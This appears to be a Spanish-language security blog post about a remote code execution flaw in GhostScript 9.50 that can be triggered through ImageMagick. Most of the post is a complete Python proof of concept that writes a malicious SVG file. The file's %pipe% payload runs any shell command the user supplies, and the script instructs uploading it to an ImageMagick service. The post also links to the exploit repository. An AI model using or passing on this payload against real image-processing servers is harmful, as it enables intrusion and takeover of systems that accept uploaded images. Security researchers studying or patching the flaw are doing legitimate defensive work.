RCE (0-day) en GhostScript-9.50

Ghostscript es un paquete que, desde 1988, se usa para la rasterización o reproducción de archivos de descripción de página, para la visualización o impresión de páginas de documentos, y la conversión entre archivos PostScript y PDF. Pero no creáis que sólo se usa en workstations, también es ampliamente utilizado en muchos servidores y en toolkits para convertir y procesar imágenes subidas, como el popular ImageMagick.

Recientemente el investigador Nguyen The Duc publicó en Github una PoC funcional para explotar un RCE en GhostScript-9.50 (CVE-2021-3781) que crea un archivo SVG especialmente modificado que escapa del proceso de procesamiento de imágenes y ejecuta código malicioso en el sistema operativo subyacente.

#from ducnt import <3
import sys

def genareate_payload(_cmd,_filename):

    _payload = """<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <hui><desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit </desc> <image href="epi:/proc/self/fd/3" /> <svg width="1px" height="1px" /> </hui>""".format(_cmd)
    f = open(_filename,"w+").write(_payload)
    return True

def main():
    if len(sys.argv) < 3:
        print "Usage: python IM-RCE-via-GhostScript-9.5.py <CMD> <Exploit-File>"
        exit()
    _cmd = sys.argv[1]
    _filename = sys.argv[2]
    genareate_payload(_cmd,_filename)
    print "Generating malicious payload successfully, upload it to Imagemagick service or trigger local via bash cmd: $ convert <Exploit-File> <Output-File>"

if __name__ == "__main__":
    main()

Lo bueno (o lo malo según se mire) es que por ejemplo podemos ver rápido los resultados con la configuración por defecto de ImageMagick en Ubuntu 20.04.

PoC Github: https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50

Comentarios